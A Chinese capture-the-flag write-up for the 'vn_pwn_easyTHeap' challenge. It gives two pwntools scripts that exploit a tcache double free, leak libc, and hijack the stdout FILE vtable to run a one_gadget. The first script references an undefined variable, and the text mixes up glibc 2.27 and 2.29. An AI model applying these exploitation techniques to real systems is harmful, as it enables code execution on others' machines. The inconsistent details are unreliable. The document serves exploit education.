0%

vn_pwn_easyTHeap(劫持IO_2_1_stdout的虚表)

首先,已知libc版本为2.27,所以存在tcache机制,并且可以随意的double free tcache bin的chunk。

然后,我们检查一下程序的保护机制

然后,我们用IDA分析一下程序

存在UAF漏洞,因此可以double free,对于glibc 2.27,可以很轻松的利用

主函数里,对调用功能的次数做了限制,即**[add功能能用7次,delete功能能用3次。]{.mark}**

首先,从泄露libc地址到实现任意地址写,直接快速的写出了exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
#coding:utf8
from pwn import *

#sh = process('./vn_pwn_easyTHeap')
sh = remote('node3.buuoj.cn',25670)
libc = ELF('/lib/x86_64-linux-gnu/libc-2.27.so')
malloc_hook_s = libc.symbols['__malloc_hook']

one_gadget = 0x4f322

def add(size):
sh.sendlineafter('choice:','1')
sh.sendlineafter('size?',str(size))

def edit(index,content):
sh.sendlineafter('choice:','2')
sh.sendlineafter('idx?',str(index))
sh.sendafter('content:',content)

def show(index):
sh.sendlineafter('choice:','3')
sh.sendlineafter('idx?',str(index))

def delete(index):
sh.sendlineafter('choice:','4')
sh.sendlineafter('idx?',str(index))
#0
add(0x100)
#1
add(0x100)
#double free
delete(0)
delete(0)

show(0)
heap_addr = u64(sh.recv(6).ljust(8,'\x00')) - 0x10
print 'heap_addr=',hex(heap_addr)
#2
add(0x100)
#3
add(0x100)
#4申请到了tcache count处,我们修改count
add(0x100)
#现在可以得到unsorted bin了
delete(0)
show(0)
main_arena_xx = u64(sh.recv(6).ljust(8,'\x00'))
malloc_hook_addr = (main_arena_xx & 0xFFFFFFFFFFFFF000) + (malloc_hook_s & 0xFFF)
libc_base = malloc_hook_addr - malloc_hook_s
one_gadget_addr = libc_base + one_gadget
print 'libc_base=',hex(libc_base)
print 'one_gadget_addr=',hex(one_gadget_addr)
edit(2,p64(evil_addr))
#5
add(0x100)
#6申请到evil_addr处
add(0x100)
sh.interactive()

显然,上面任意地址读写已经实现,我们通过edit(6)和show(6)来实现。如果我们改写malloc_hook或者free_hook,可以改写成功,但是没有办法触发。这是因为,我们已经用完了add功能的7次调用,delete功能的3次调用。因此,接下来,我们调用不了malloc或free,也就无法触发了。因此,我们可以劫持_IO_2_1_stdout_的虚表。思想就如同house of orange一样,通过IO流对虚表的调用来触发one_gadget。由于glibc为2.29,因此不能直接伪造虚表,而应该将虚表劫持为_IO_str_jumps_附近。

我们先把虚表劫持为_IO_str_jumps_附近,然后用IDA调试。

1
edit(6,p64(_IO_str_jumps_addr - 0x50))

我们需要在puts处断点,因为我们修改后,这里是第一个puts,它会调用stdout里相关的虚表

我们单步跟进

然后,我们看到这里r13就是虚表指针,这里会call [r13+0x38]处的函数。

因此,我们只需要让[r13+0x38]为IO_str_finish函数的指针即可,因此,我们需要将虚表修改为IO_str_jumps – XX,使得,r13+0x38正好对应上_IO_str_finish指针。

而之前在house of orange里已经介绍过,_IO_str_finish函数会call [IO_2_1_stdout + 0xE8]

Call的前提是_IO_2_1_stdout_的flag的低1字节要为0。综上,我们需要劫持_IO_2_1_stdout_结构体,修改flags,劫持虚表为IO_str_jumps – XX,修改_IO_2_1_stdout_+0xE8处为one_gadget。然后puts的调用即可触发one_gadget。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
#coding:utf8
from pwn import *

#sh = process('./vn_pwn_easyTHeap')
sh = remote('node3.buuoj.cn',25670)
libc = ELF('/lib/x86_64-linux-gnu/libc-2.27.so')
malloc_hook_s = libc.symbols['__malloc_hook']
_IO_2_1_stdout_s = libc.symbols['_IO_2_1_stdout_']

def get_IO_str_jumps():
IO_file_jumps_offset = libc.sym['_IO_file_jumps']
IO_str_underflow_offset = libc.sym['_IO_str_underflow']
for ref_offset in libc.search(p64(IO_str_underflow_offset)):
possible_IO_str_jumps_offset = ref_offset - 0x20
if possible_IO_str_jumps_offset > IO_file_jumps_offset:
return possible_IO_str_jumps_offset
_IO_str_jumps_s = get_IO_str_jumps()
one_gadget = 0x4f322

def add(size):
sh.sendlineafter('choice:','1')
sh.sendlineafter('size?',str(size))

def edit(index,content):
sh.sendlineafter('choice:','2')
sh.sendlineafter('idx?',str(index))
sh.sendafter('content:',content)

def show(index):
sh.sendlineafter('choice:','3')
sh.sendlineafter('idx?',str(index))

def delete(index):
sh.sendlineafter('choice:','4')
sh.sendlineafter('idx?',str(index))
#0
add(0x100)
#1
add(0x100)
#double free
delete(0)
delete(0)

show(0)
heap_addr = u64(sh.recv(6).ljust(8,'\x00')) - 0x10
print 'heap_addr=',hex(heap_addr)
#2
add(0x100)
#3
add(0x100)
#4申请到了tcache count处,我们修改count
add(0x100)
#现在可以得到unsorted bin了
delete(0)
show(0)
main_arena_xx = u64(sh.recv(6).ljust(8,'\x00'))
malloc_hook_addr = (main_arena_xx & 0xFFFFFFFFFFFFF000) + (malloc_hook_s & 0xFFF)
libc_base = malloc_hook_addr - malloc_hook_s
_IO_2_1_stdout_addr = libc_base + _IO_2_1_stdout_s
_IO_str_jumps_addr = libc_base + _IO_str_jumps_s
one_gadget_addr = libc_base + one_gadget
print 'libc_base=',hex(libc_base)
print 'one_gadget_addr=',hex(one_gadget_addr)
print '_IO_2_1_stdout_addr=',hex(_IO_2_1_stdout_addr)
print '_IO_str_jumps_addr=',hex(_IO_str_jumps_addr)
print hex(libc_base + 0x5E703)
vtable_jump = _IO_str_jumps_addr - 0x28
edit(2,p64(_IO_2_1_stdout_addr))
#5
add(0x100)
#6
add(0x100)
#修改vtable为IO_str_jumps,就会调用_IO_2_1_stdout_addr+0xE8处的函数指针
#raw_input()
fake_file = p64(0x0FBAD2886)
fake_file += p64(_IO_2_1_stdout_addr + 0x200)*7
fake_file += p64(_IO_2_1_stdout_addr + 0x201)
fake_file += p64(0)*5
fake_file += p32(1) #fileno
fake_file += p32(0) + p64(0xFFFFFFFFFFFFFFFF)
fake_file += '\x00\x00\x00\n' + p32(0)
fake_file += p64(libc_base + 0x3ED8C0) #_IO_stdfile_1_lock
fake_file += p64(0xFFFFFFFFFFFFFFFF)
fake_file += p64(0)
fake_file += p64(libc_base + 0x3EB8C0) #_IO_wide_data_1
fake_file += p64(0)*3
fake_file += p32(0xFFFFFFFF)
fake_file = fake_file.ljust(0xD8,'\x00')
fake_file += p64(vtable_jump) + p64(0) + p64(one_gadget_addr)
edit(6,fake_file)

sh.interactive()